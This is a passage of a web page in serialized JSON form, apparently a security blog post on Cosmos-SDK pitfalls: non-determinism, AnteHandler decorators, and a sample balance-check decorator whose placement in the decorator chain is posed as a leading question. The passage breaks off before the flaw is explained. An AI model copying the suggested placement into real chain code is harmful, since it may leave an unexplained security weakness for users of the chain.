storeInfos",{"type":23,"tag":230,"props":79852,"children":79853},{"style":268},[79854],{"type":29,"value":78195},{"type":23,"tag":230,"props":79856,"children":79857},{"style":274},[79858],{"type":29,"value":78006},{"type":23,"tag":230,"props":79860,"children":79861},{"style":676},[79862],{"type":29,"value":8095},{"type":23,"tag":230,"props":79864,"children":79865},{"style":274},[79866],{"type":29,"value":312},{"type":23,"tag":230,"props":79868,"children":79869},{"style":676},[79870],{"type":29,"value":79871},"StoreInfo",{"type":23,"tag":230,"props":79873,"children":79874},{"style":274},[79875],{"type":29,"value":79876},"{}\n",{"type":23,"tag":230,"props":79878,"children":79879},{"class":232,"line":334},[79880,79884,79888,79892,79896,79900,79904,79909,79913,79918],{"type":23,"tag":230,"props":79881,"children":79882},{"style":866},[79883],{"type":29,"value":5371},{"type":23,"tag":230,"props":79885,"children":79886},{"style":262},[79887],{"type":29,"value":8268},{"type":23,"tag":230,"props":79889,"children":79890},{"style":274},[79891],{"type":29,"value":684},{"type":23,"tag":230,"props":79893,"children":79894},{"style":262},[79895],{"type":29,"value":8277},{"type":23,"tag":230,"props":79897,"children":79898},{"style":268},[79899],{"type":29,"value":78195},{"type":23,"tag":230,"props":79901,"children":79902},{"style":866},[79903],{"type":29,"value":79178},{"type":23,"tag":230,"props":79905,"children":79906},{"style":262},[79907],{"type":29,"value":79908}," rs",{"type":23,"tag":230,"props":79910,"children":79911},{"style":274},[79912],{"type":29,"value":312},{"type":23,"tag":230,"props":79914,"children":79915},{"style":262},[79916],{"type":29,"value":79917},"stores",{"type":23,"tag":230,"props":79919,"children":79920},{"style":274},[79921],{"type":29,"value":277},{"type":23,"tag":230,"props":79923,"children":79924},{"class":232,"line":371},[79925,79929,79933,79937,79942,79946,79950,79955,79959,79964],{"type":23,"tag":230,"props":79926,"children":79927},{"style":866},[79928],{"type":29,"value":5611},{"type":23,"tag":230,"props":79930,"children":79931},{"style":262},[79932],{"type":29,"value":8168},{"type":23,"tag":230,"props":79934,"children":79935},{"style":274},[79936],{"type":29,"value":312},{"type":23,"tag":230,"props":79938,"children":79939},{"style":294},[79940],{"type":29,"value":79941},"GetStoreType",{"type":23,"tag":230,"props":79943,"children":79944},{"style":274},[79945],{"type":29,"value":16370},{"type":23,"tag":230,"props":79947,"children":79948},{"style":268},[79949],{"type":29,"value":10911},{"type":23,"tag":230,"props":79951,"children":79952},{"style":262},[79953],{"type":29,"value":79954}," types",{"type":23,"tag":230,"props":79956,"children":79957},{"style":274},[79958],{"type":29,"value":312},{"type":23,"tag":230,"props":79960,"children":79961},{"style":262},[79962],{"type":29,"value":79963},"StoreTypeTransient",{"type":23,"tag":230,"props":79965,"children":79966},{"style":274},[79967],{"type":29,"value":277},{"type":23,"tag":230,"props":79969,"children":79970},{"class":232,"line":391},[79971],{"type":23,"tag":230,"props":79972,"children":79973},{"style":866},[79974],{"type":29,"value":79975},"            continue\n",{"type":23,"tag":230,"props":79977,"children":79978},{"class":232,"line":400},[79979],{"type":23,"tag":230,"props":79980,"children":79981},{"style":274},[79982],{"type":29,"value":5686},{"type":23,"tag":230,"props":79984,"children":79985},{"class":232,"line":444},[79986,79991,79995,79999,80003,80008,80012,80016,80020,80024],{"type":23,"tag":230,"props":79987,"children":79988},{"style":262},[79989],{"type":29,"value":79990},"        storeInfos",{"type":23,"tag":230,"props":79992,"children":79993},{"style":268},[79994],{"type":29,"value":271},{"type":23,"tag":230,"props":79996,"children":79997},{"style":294},[79998],{"type":29,"value":79475},{"type":23,"tag":230,"props":80000,"children":80001},{"style":274},[80002],{"type":29,"value":302},{"type":23,"tag":230,"props":80004,"children":80005},{"style":262},[80006],{"type":29,"value":80007},"storeInfos",{"type":23,"tag":230,"props":80009,"children":80010},{"style":274},[80011],{"type":29,"value":684},{"type":23,"tag":230,"props":80013,"children":80014},{"style":676},[80015],{"type":29,"value":8095},{"type":23,"tag":230,"props":80017,"children":80018},{"style":274},[80019],{"type":29,"value":312},{"type":23,"tag":230,"props":80021,"children":80022},{"style":676},[80023],{"type":29,"value":79871},{"type":23,"tag":230,"props":80025,"children":80026},{"style":274},[80027],{"type":29,"value":13211},{"type":23,"tag":230,"props":80029,"children":80030},{"class":232,"line":453},[80031,80036,80041,80045,80049,80054],{"type":23,"tag":230,"props":80032,"children":80033},{"style":262},[80034],{"type":29,"value":80035},"            Name",{"type":23,"tag":230,"props":80037,"children":80038},{"style":274},[80039],{"type":29,"value":80040},":     ",{"type":23,"tag":230,"props":80042,"children":80043},{"style":262},[80044],{"type":29,"value":73933},{"type":23,"tag":230,"props":80046,"children":80047},{"style":274},[80048],{"type":29,"value":312},{"type":23,"tag":230,"props":80050,"children":80051},{"style":294},[80052],{"type":29,"value":80053},"Name",{"type":23,"tag":230,"props":80055,"children":80056},{"style":274},[80057],{"type":29,"value":5827},{"type":23,"tag":230,"props":80059,"children":80060},{"class":232,"line":462},[80061,80066,80070,80074,80078,80083],{"type":23,"tag":230,"props":80062,"children":80063},{"style":262},[80064],{"type":29,"value":80065},"            CommitId",{"type":23,"tag":230,"props":80067,"children":80068},{"style":274},[80069],{"type":29,"value":817},{"type":23,"tag":230,"props":80071,"children":80072},{"style":262},[80073],{"type":29,"value":8277},{"type":23,"tag":230,"props":80075,"children":80076},{"style":274},[80077],{"type":29,"value":312},{"type":23,"tag":230,"props":80079,"children":80080},{"style":294},[80081],{"type":29,"value":80082},"LastCommitID",{"type":23,"tag":230,"props":80084,"children":80085},{"style":274},[80086],{"type":29,"value":5827},{"type":23,"tag":230,"props":80088,"children":80089},{"class":232,"line":471},[80090],{"type":23,"tag":230,"props":80091,"children":80092},{"style":274},[80093],{"type":29,"value":69974},{"type":23,"tag":230,"props":80095,"children":80096},{"class":232,"line":500},[80097],{"type":23,"tag":230,"props":80098,"children":80099},{"style":274},[80100],{"type":29,"value":1552},{"type":23,"tag":230,"props":80102,"children":80103},{"class":232,"line":514},[80104,80108,80112,80116,80120,80124],{"type":23,"tag":230,"props":80105,"children":80106},{"style":866},[80107],{"type":29,"value":4427},{"type":23,"tag":230,"props":80109,"children":80110},{"style":268},[80111],{"type":29,"value":9477},{"type":23,"tag":230,"props":80113,"children":80114},{"style":676},[80115],{"type":29,"value":8095},{"type":23,"tag":230,"props":80117,"children":80118},{"style":274},[80119],{"type":29,"value":312},{"type":23,"tag":230,"props":80121,"children":80122},{"style":676},[80123],{"type":29,"value":79838},{"type":23,"tag":230,"props":80125,"children":80126},{"style":274},[80127],{"type":29,"value":13211},{"type":23,"tag":230,"props":80129,"children":80130},{"class":232,"line":897},[80131,80136,80141,80146],{"type":23,"tag":230,"props":80132,"children":80133},{"style":262},[80134],{"type":29,"value":80135},"        Version",{"type":23,"tag":230,"props":80137,"children":80138},{"style":274},[80139],{"type":29,"value":80140},":    ",{"type":23,"tag":230,"props":80142,"children":80143},{"style":262},[80144],{"type":29,"value":80145},"version",{"type":23,"tag":230,"props":80147,"children":80148},{"style":274},[80149],{"type":29,"value":388},{"type":23,"tag":230,"props":80151,"children":80152},{"class":232,"line":960},[80153,80158,80162,80166],{"type":23,"tag":230,"props":80154,"children":80155},{"style":262},[80156],{"type":29,"value":80157},"        StoreInfos",{"type":23,"tag":230,"props":80159,"children":80160},{"style":274},[80161],{"type":29,"value":817},{"type":23,"tag":230,"props":80163,"children":80164},{"style":262},[80165],{"type":29,"value":80007},{"type":23,"tag":230,"props":80167,"children":80168},{"style":274},[80169],{"type":29,"value":388},{"type":23,"tag":230,"props":80171,"children":80172},{"class":232,"line":969},[80173],{"type":23,"tag":230,"props":80174,"children":80175},{"style":274},[80176],{"type":29,"value":1552},{"type":23,"tag":230,"props":80178,"children":80179},{"class":232,"line":4526},[80180],{"type":23,"tag":230,"props":80181,"children":80182},{"style":274},[80183],{"type":29,"value":975},{"type":23,"tag":32,"props":80185,"children":80186},{},[80187,80189,80196,80197,80204],{"type":29,"value":80188},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":181,"props":80190,"children":80193},{"href":80191,"rel":80192},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[185],[80194],{"type":29,"value":80195},"time-sensitive functions",{"type":29,"value":112},{"type":23,"tag":181,"props":80198,"children":80201},{"href":80199,"rel":80200},"https://github.com/cosmos/cosmos-sdk/issues/16638",[185],[80202],{"type":29,"value":80203},"race conditions",{"type":29,"value":312},{"type":23,"tag":24,"props":80206,"children":80208},{"id":80207},"thou-shalt-not-passor-should-you",[80209],{"type":29,"value":80210},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":32,"props":80212,"children":80213},{},[80214,80216,80222,80223,80229],{"type":29,"value":80215},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":71,"props":80217,"children":80219},{"className":80218},[],[80220],{"type":29,"value":80221},"msg.value",{"type":29,"value":684},{"type":23,"tag":71,"props":80224,"children":80226},{"className":80225},[],[80227],{"type":29,"value":80228},"msg.sender",{"type":29,"value":80230},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":32,"props":80232,"children":80233},{},[80234,80236,80242,80244,80250],{"type":29,"value":80235},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":71,"props":80237,"children":80239},{"className":80238},[],[80240],{"type":29,"value":80241},"Cosmos-SDK",{"type":29,"value":80243}," introduces ",{"type":23,"tag":71,"props":80245,"children":80247},{"className":80246},[],[80248],{"type":29,"value":80249},"AnteHandler",{"type":29,"value":80251}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":32,"props":80253,"children":80254},{},[80255,80257,80262,80264,80269],{"type":29,"value":80256},"To provide context, let's first understand how an ",{"type":23,"tag":71,"props":80258,"children":80260},{"className":80259},[],[80261],{"type":29,"value":80249},{"type":29,"value":80263}," is processed. Each ",{"type":23,"tag":71,"props":80265,"children":80267},{"className":80266},[],[80268],{"type":29,"value":80249},{"type":29,"value":80270}," is a state transition function that can:",{"type":23,"tag":144,"props":80272,"children":80273},{},[80274,80279],{"type":23,"tag":102,"props":80275,"children":80276},{},[80277],{"type":29,"value":80278},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":102,"props":80280,"children":80281},{},[80282,80284],{"type":29,"value":80283},"Determine the course of action for the transaction.\n",{"type":23,"tag":144,"props":80285,"children":80286},{},[80287,80298],{"type":23,"tag":102,"props":80288,"children":80289},{},[80290,80292,80297],{"type":29,"value":80291},"Pass the transaction to the next ",{"type":23,"tag":71,"props":80293,"children":80295},{"className":80294},[],[80296],{"type":29,"value":80249},{"type":29,"value":312},{"type":23,"tag":102,"props":80299,"children":80300},{},[80301],{"type":29,"value":80302},"Return error for transaction.",{"type":23,"tag":32,"props":80304,"children":80305},{},[80306,80308,80313],{"type":29,"value":80307},"The bad news is that developing an ",{"type":23,"tag":71,"props":80309,"children":80311},{"className":80310},[],[80312],{"type":29,"value":80249},{"type":29,"value":80314}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":32,"props":80316,"children":80317},{},[80318,80319,80325],{"type":29,"value":980},{"type":23,"tag":71,"props":80320,"children":80322},{"className":80321},[],[80323],{"type":29,"value":80324},"AnteHandle",{"type":29,"value":80326}," implementation may look something like this:",{"type":23,"tag":220,"props":80328,"children":80330},{"code":80329,"language":77943,"meta":7,"className":77944,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[80331],{"type":23,"tag":71,"props":80332,"children":80333},{"__ignoreMap":7},[80334,80346,80362,80369,80376,80409,80433,80458,80474,80498,80530,80578,80597,80630,80651,80663,80670,80677,80684,80714,80750,80814,80848,80880,80892,80904,80911,80918,80925,80932,80974],{"type":23,"tag":230,"props":80335,"children":80336},{"class":232,"line":233},[80337,80341],{"type":23,"tag":230,"props":80338,"children":80339},{"style":256},[80340],{"type":29,"value":259},{"type":23,"tag":230,"props":80342,"children":80343},{"style":274},[80344],{"type":29,"value":80345}," (\n",{"type":23,"tag":230,"props":80347,"children":80348},{"class":232,"line":243},[80349,80354,80358],{"type":23,"tag":230,"props":80350,"children":80351},{"style":262},[80352],{"type":29,"value":80353},"    MIN_BALANCE",{"type":23,"tag":230,"props":80355,"children":80356},{"style":268},[80357],{"type":29,"value":271},{"type":23,"tag":230,"props":80359,"children":80360},{"style":5149},[80361],{"type":29,"value":21658},{"type":23,"tag":230,"props":80363,"children":80364},{"class":232,"line":252},[80365],{"type":23,"tag":230,"props":80366,"children":80367},{"style":274},[80368],{"type":29,"value":4516},{"type":23,"tag":230,"props":80370,"children":80371},{"class":232,"line":280},[80372],{"type":23,"tag":230,"props":80373,"children":80374},{"emptyLinePlaceholder":18},[80375],{"type":29,"value":459},{"type":23,"tag":230,"props":80377,"children":80378},{"class":232,"line":334},[80379,80383,80387,80392,80397,80401,80405],{"type":23,"tag":230,"props":80380,"children":80381},{"style":256},[80382],{"type":29,"value":78079},{"type":23,"tag":230,"props":80384,"children":80385},{"style":274},[80386],{"type":29,"value":664},{"type":23,"tag":230,"props":80388,"children":80389},{"style":262},[80390],{"type":29,"value":80391},"abd ",{"type":23,"tag":230,"props":80393,"children":80394},{"style":676},[80395],{"type":29,"value":80396},"AccountBalanceDecorator",{"type":23,"tag":230,"props":80398,"children":80399},{"style":274},[80400],{"type":29,"value":703},{"type":23,"tag":230,"props":80402,"children":80403},{"style":294},[80404],{"type":29,"value":80324},{"type":23,"tag":230,"props":80406,"children":80407},{"style":274},[80408],{"type":29,"value":619},{"type":23,"tag":230,"props":80410,"children":80411},{"class":232,"line":371},[80412,80416,80421,80425,80429],{"type":23,"tag":230,"props":80413,"children":80414},{"style":262},[80415],{"type":29,"value":22538},{"type":23,"tag":230,"props":80417,"children":80418},{"style":676},[80419],{"type":29,"value":80420}," sdk",{"type":23,"tag":230,"props":80422,"children":80423},{"style":274},[80424],{"type":29,"value":312},{"type":23,"tag":230,"props":80426,"children":80427},{"style":676},[80428],{"type":29,"value":78128},{"type":23,"tag":230,"props":80430,"children":80431},{"style":274},[80432],{"type":29,"value":388},{"type":23,"tag":230,"props":80434,"children":80435},{"class":232,"line":391},[80436,80441,80445,80449,80454],{"type":23,"tag":230,"props":80437,"children":80438},{"style":262},[80439],{"type":29,"value":80440},"    tx",{"type":23,"tag":230,"props":80442,"children":80443},{"style":676},[80444],{"type":29,"value":80420},{"type":23,"tag":230,"props":80446,"children":80447},{"style":274},[80448],{"type":29,"value":312},{"type":23,"tag":230,"props":80450,"children":80451},{"style":676},[80452],{"type":29,"value":80453},"Tx",{"type":23,"tag":230,"props":80455,"children":80456},{"style":274},[80457],{"type":29,"value":388},{"type":23,"tag":230,"props":80459,"children":80460},{"class":232,"line":400},[80461,80466,80470],{"type":23,"tag":230,"props":80462,"children":80463},{"style":262},[80464],{"type":29,"value":80465},"    simulate",{"type":23,"tag":230,"props":80467,"children":80468},{"style":676},[80469],{"type":29,"value":14381},{"type":23,"tag":230,"props":80471,"children":80472},{"style":274},[80473],{"type":29,"value":388},{"type":23,"tag":230,"props":80475,"children":80476},{"class":232,"line":444},[80477,80482,80486,80490,80494],{"type":23,"tag":230,"props":80478,"children":80479},{"style":262},[80480],{"type":29,"value":80481},"    next",{"type":23,"tag":230,"props":80483,"children":80484},{"style":676},[80485],{"type":29,"value":80420},{"type":23,"tag":230,"props":80487,"children":80488},{"style":274},[80489],{"type":29,"value":312},{"type":23,"tag":230,"props":80491,"children":80492},{"style":676},[80493],{"type":29,"value":80249},{"type":23,"tag":230,"props":80495,"children":80496},{"style":274},[80497],{"type":29,"value":388},{"type":23,"tag":230,"props":80499,"children":80500},{"class":232,"line":453},[80501,80505,80510,80514,80518,80522,80526],{"type":23,"tag":230,"props":80502,"children":80503},{"style":274},[80504],{"type":29,"value":78161},{"type":23,"tag":230,"props":80506,"children":80507},{"style":676},[80508],{"type":29,"value":80509},"sdk",{"type":23,"tag":230,"props":80511,"children":80512},{"style":274},[80513],{"type":29,"value":312},{"type":23,"tag":230,"props":80515,"children":80516},{"style":676},[80517],{"type":29,"value":78128},{"type":23,"tag":230,"props":80519,"children":80520},{"style":274},[80521],{"type":29,"value":684},{"type":23,"tag":230,"props":80523,"children":80524},{"style":676},[80525],{"type":29,"value":17189},{"type":23,"tag":230,"props":80527,"children":80528},{"style":274},[80529],{"type":29,"value":827},{"type":23,"tag":230,"props":80531,"children":80532},{"class":232,"line":462},[80533,80538,80542,80547,80551,80555,80560,80565,80569,80574],{"type":23,"tag":230,"props":80534,"children":80535},{"style":262},[80536],{"type":29,"value":80537},"    sigTx",{"type":23,"tag":230,"props":80539,"children":80540},{"style":274},[80541],{"type":29,"value":684},{"type":23,"tag":230,"props":80543,"children":80544},{"style":262},[80545],{"type":29,"value":80546},"ok",{"type":23,"tag":230,"props":80548,"children":80549},{"style":268},[80550],{"type":29,"value":78195},{"type":23,"tag":230,"props":80552,"children":80553},{"style":262},[80554],{"type":29,"value":69804},{"type":23,"tag":230,"props":80556,"children":80557},{"style":274},[80558],{"type":29,"value":80559},".(",{"type":23,"tag":230,"props":80561,"children":80562},{"style":676},[80563],{"type":29,"value":80564},"authsigning",{"type":23,"tag":230,"props":80566,"children":80567},{"style":274},[80568],{"type":29,"value":312},{"type":23,"tag":230,"props":80570,"children":80571},{"style":676},[80572],{"type":29,"value":80573},"SigVerifiableTx",{"type":23,"tag":230,"props":80575,"children":80576},{"style":274},[80577],{"type":29,"value":4516},{"type":23,"tag":230,"props":80579,"children":80580},{"class":232,"line":471},[80581,80585,80589,80593],{"type":23,"tag":230,"props":80582,"children":80583},{"style":866},[80584],{"type":29,"value":1493},{"type":23,"tag":230,"props":80586,"children":80587},{"style":268},[80588],{"type":29,"value":15193},{"type":23,"tag":230,"props":80590,"children":80591},{"style":262},[80592],{"type":29,"value":80546},{"type":23,"tag":230,"props":80594,"children":80595},{"style":274},[80596],{"type":29,"value":277},{"type":23,"tag":230,"props":80598,"children":80599},{"class":232,"line":500},[80600,80604,80608,80612,80617,80621,80626],{"type":23,"tag":230,"props":80601,"children":80602},{"style":866},[80603],{"type":29,"value":3554},{"type":23,"tag":230,"props":80605,"children":80606},{"style":262},[80607],{"type":29,"value":28150},{"type":23,"tag":230,"props":80609,"children":80610},{"style":274},[80611],{"type":29,"value":684},{"type":23,"tag":230,"props":80613,"children":80614},{"style":262},[80615],{"type":29,"value":80616},"errorsmod",{"type":23,"tag":230,"props":80618,"children":80619},{"style":274},[80620],{"type":29,"value":312},{"type":23,"tag":230,"props":80622,"children":80623},{"style":294},[80624],{"type":29,"value":80625},"Wrap",{"type":23,"tag":230,"props":80627,"children":80628},{"style":274},[80629],{"type":29,"value":619},{"type":23,"tag":230,"props":80631,"children":80632},{"class":232,"line":514},[80633,80638,80642,80647],{"type":23,"tag":230,"props":80634,"children":80635},{"style":262},[80636],{"type":29,"value":80637},"            sdkerrors",{"type":23,"tag":230,"props":80639,"children":80640},{"style":274},[80641],{"type":29,"value":312},{"type":23,"tag":230,"props":80643,"children":80644},{"style":262},[80645],{"type":29,"value":80646},"ErrTxDecode",{"type":23,"tag":230,"props":80648,"children":80649},{"style":274},[80650],{"type":29,"value":388},{"type":23,"tag":230,"props":80652,"children":80653},{"class":232,"line":897},[80654,80659],{"type":23,"tag":230,"props":80655,"children":80656},{"style":380},[80657],{"type":29,"value":80658},"            \"invalid tx type\"",{"type":23,"tag":230,"props":80660,"children":80661},{"style":274},[80662],{"type":29,"value":388},{"type":23,"tag":230,"props":80664,"children":80665},{"class":232,"line":960},[80666],{"type":23,"tag":230,"props":80667,"children":80668},{"style":274},[80669],{"type":29,"value":70097},{"type":23,"tag":230,"props":80671,"children":80672},{"class":232,"line":969},[80673],{"type":23,"tag":230,"props":80674,"children":80675},{"style":274},[80676],{"type":29,"value":1552},{"type":23,"tag":230,"props":80678,"children":80679},{"class":232,"line":4526},[80680],{"type":23,"tag":230,"props":80681,"children":80682},{"emptyLinePlaceholder":18},[80683],{"type":29,"value":459},{"type":23,"tag":230,"props":80685,"children":80686},{"class":232,"line":4534},[80687,80692,80696,80701,80705,80710],{"type":23,"tag":230,"props":80688,"children":80689},{"style":262},[80690],{"type":29,"value":80691},"    signers",{"type":23,"tag":230,"props":80693,"children":80694},{"style":268},[80695],{"type":29,"value":78195},{"type":23,"tag":230,"props":80697,"children":80698},{"style":262},[80699],{"type":29,"value":80700}," sigTx",{"type":23,"tag":230,"props":80702,"children":80703},{"style":274},[80704],{"type":29,"value":312},{"type":23,"tag":230,"props":80706,"children":80707},{"style":294},[80708],{"type":29,"value":80709},"GetSigners",{"type":23,"tag":230,"props":80711,"children":80712},{"style":274},[80713],{"type":29,"value":10072},{"type":23,"tag":230,"props":80715,"children":80716},{"class":232,"line":4542},[80717,80721,80725,80729,80733,80737,80741,80746],{"type":23,"tag":230,"props":80718,"children":80719},{"style":866},[80720],{"type":29,"value":5371},{"type":23,"tag":230,"props":80722,"children":80723},{"style":262},[80724],{"type":29,"value":5736},{"type":23,"tag":230,"props":80726,"children":80727},{"style":274},[80728],{"type":29,"value":684},{"type":23,"tag":230,"props":80730,"children":80731},{"style":262},[80732],{"type":29,"value":9482},{"type":23,"tag":230,"props":80734,"children":80735},{"style":268},[80736],{"type":29,"value":78195},{"type":23,"tag":230,"props":80738,"children":80739},{"style":866},[80740],{"type":29,"value":79178},{"type":23,"tag":230,"props":80742,"children":80743},{"style":262},[80744],{"type":29,"value":80745}," signers",{"type":23,"tag":230,"props":80747,"children":80748},{"style":274},[80749],{"type":29,"value":277},{"type":23,"tag":230,"props":80751,"children":80752},{"class":232,"line":4559},[80753,80758,80762,80767,80771,80776,80780,80785,80789,80793,80797,80801,80805,80810],{"type":23,"tag":230,"props":80754,"children":80755},{"style":262},[80756],{"type":29,"value":80757},"        balance",{"type":23,"tag":230,"props":80759,"children":80760},{"style":268},[80761],{"type":29,"value":78195},{"type":23,"tag":230,"props":80763,"children":80764},{"style":262},[80765],{"type":29,"value":80766}," abd",{"type":23,"tag":230,"props":80768,"children":80769},{"style":274},[80770],{"type":29,"value":312},{"type":23,"tag":230,"props":80772,"children":80773},{"style":262},[80774],{"type":29,"value":80775},"bk",{"type":23,"tag":230,"props":80777,"children":80778},{"style":274},[80779],{"type":29,"value":312},{"type":23,"tag":230,"props":80781,"children":80782},{"style":294},[80783],{"type":29,"value":80784},"getBalance",{"type":23,"tag":230,"props":80786,"children":80787},{"style":274},[80788],{"type":29,"value":302},{"type":23,"tag":230,"props":80790,"children":80791},{"style":262},[80792],{"type":29,"value":22595},{"type":23,"tag":230,"props":80794,"children":80795},{"style":274},[80796],{"type":29,"value":684},{"type":23,"tag":230,"props":80798,"children":80799},{"style":262},[80800],{"type":29,"value":9482},{"type":23,"tag":230,"props":80802,"children":80803},{"style":274},[80804],{"type":29,"value":684},{"type":23,"tag":230,"props":80806,"children":80807},{"style":262},[80808],{"type":29,"value":80809},"ATOM",{"type":23,"tag":230,"props":80811,"children":80812},{"style":274},[80813],{"type":29,"value":4516},{"type":23,"tag":230,"props":80815,"children":80816},{"class":232,"line":4587},[80817,80821,80826,80830,80835,80839,80844],{"type":23,"tag":230,"props":80818,"children":80819},{"style":866},[80820],{"type":29,"value":5611},{"type":23,"tag":230,"props":80822,"children":80823},{"style":262},[80824],{"type":29,"value":80825}," balance",{"type":23,"tag":230,"props":80827,"children":80828},{"style":274},[80829],{"type":29,"value":312},{"type":23,"tag":230,"props":80831,"children":80832},{"style":262},[80833],{"type":29,"value":80834},"Amount",{"type":23,"tag":230,"props":80836,"children":80837},{"style":268},[80838],{"type":29,"value":11055},{"type":23,"tag":230,"props":80840,"children":80841},{"style":262},[80842],{"type":29,"value":80843}," MIN_BALANCE",{"type":23,"tag":230,"props":80845,"children":80846},{"style":274},[80847],{"type":29,"value":277},{"type":23,"tag":230,"props":80849,"children":80850},{"class":232,"line":4595},[80851,80856,80860,80864,80868,80872,80876],{"type":23,"tag":230,"props":80852,"children":80853},{"style":866},[80854],{"type":29,"value":80855},"            return",{"type":23,"tag":230,"props":80857,"children":80858},{"style":262},[80859],{"type":29,"value":28150},{"type":23,"tag":230,"props":80861,"children":80862},{"style":274},[80863],{"type":29,"value":684},{"type":23,"tag":230,"props":80865,"children":80866},{"style":262},[80867],{"type":29,"value":80616},{"type":23,"tag":230,"props":80869,"children":80870},{"style":274},[80871],{"type":29,"value":312},{"type":23,"tag":230,"props":80873,"children":80874},{"style":294},[80875],{"type":29,"value":80625},{"type":23,"tag":230,"props":80877,"children":80878},{"style":274},[80879],{"type":29,"value":619},{"type":23,"tag":230,"props":80881,"children":80882},{"class":232,"line":4619},[80883,80888],{"type":23,"tag":230,"props":80884,"children":80885},{"style":262},[80886],{"type":29,"value":80887},"                ErrInsufficientBalance",{"type":23,"tag":230,"props":80889,"children":80890},{"style":274},[80891],{"type":29,"value":388},{"type":23,"tag":230,"props":80893,"children":80894},{"class":232,"line":4627},[80895,80900],{"type":23,"tag":230,"props":80896,"children":80897},{"style":380},[80898],{"type":29,"value":80899},"                \"Insufficient Balance\"",{"type":23,"tag":230,"props":80901,"children":80902},{"style":274},[80903],{"type":29,"value":388},{"type":23,"tag":230,"props":80905,"children":80906},{"class":232,"line":4659},[80907],{"type":23,"tag":230,"props":80908,"children":80909},{"style":274},[80910],{"type":29,"value":79294},{"type":23,"tag":230,"props":80912,"children":80913},{"class":232,"line":4671},[80914],{"type":23,"tag":230,"props":80915,"children":80916},{"style":274},[80917],{"type":29,"value":5686},{"type":23,"tag":230,"props":80919,"children":80920},{"class":232,"line":4688},[80921],{"type":23,"tag":230,"props":80922,"children":80923},{"style":274},[80924],{"type":29,"value":1552},{"type":23,"tag":230,"props":80926,"children":80927},{"class":232,"line":4701},[80928],{"type":23,"tag":230,"props":80929,"children":80930},{"emptyLinePlaceholder":18},[80931],{"type":29,"value":459},{"type":23,"tag":230,"props":80933,"children":80934},{"class":232,"line":4724},[80935,80939,80944,80948,80952,80956,80961,80965,80970],{"type":23,"tag":230,"props":80936,"children":80937},{"style":866},[80938],{"type":29,"value":4427},{"type":23,"tag":230,"props":80940,"children":80941},{"style":294},[80942],{"type":29,"value":80943}," next",{"type":23,"tag":230,"props":80945,"children":80946},{"style":274},[80947],{"type":29,"value":302},{"type":23,"tag":230,"props":80949,"children":80950},{"style":262},[80951],{"type":29,"value":22595},{"type":23,"tag":230,"props":80953,"children":80954},{"style":274},[80955],{"type":29,"value":684},{"type":23,"tag":230,"props":80957,"children":80958},{"style":262},[80959],{"type":29,"value":80960},"tx",{"type":23,"tag":230,"props":80962,"children":80963},{"style":274},[80964],{"type":29,"value":684},{"type":23,"tag":230,"props":80966,"children":80967},{"style":262},[80968],{"type":29,"value":80969},"simulate",{"type":23,"tag":230,"props":80971,"children":80972},{"style":274},[80973],{"type":29,"value":4516},{"type":23,"tag":230,"props":80975,"children":80976},{"class":232,"line":4741},[80977],{"type":23,"tag":230,"props":80978,"children":80979},{"style":274},[80980],{"type":29,"value":975},{"type":23,"tag":32,"props":80982,"children":80983},{},[80984,80986,80991,80993,80999,81001,81007],{"type":29,"value":80985},"Where should this custom ",{"type":23,"tag":71,"props":80987,"children":80989},{"className":80988},[],[80990],{"type":29,"value":80249},{"type":29,"value":80992}," be placed relative to other ",{"type":23,"tag":71,"props":80994,"children":80996},{"className":80995},[],[80997],{"type":29,"value":80998},"AnteHandlers",{"type":29,"value":81000}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":71,"props":81002,"children":81004},{"className":81003},[],[81005],{"type":29,"value":81006},"SetUpContextDecorator",{"type":29,"value":81008}," should work, right?",{"type":23,"tag":32,"props":81010,"children":81011},{},[81012],{"type":23,"tag":181,"props":81013,"children":81016},{"href":81014,"rel":81015},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[185],[81017],{"type":29,"value":78518},{"type":23,"tag":220,"props":81019,"children":81021},{"code":81020,"language":77943,"meta":7,"className":77944,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    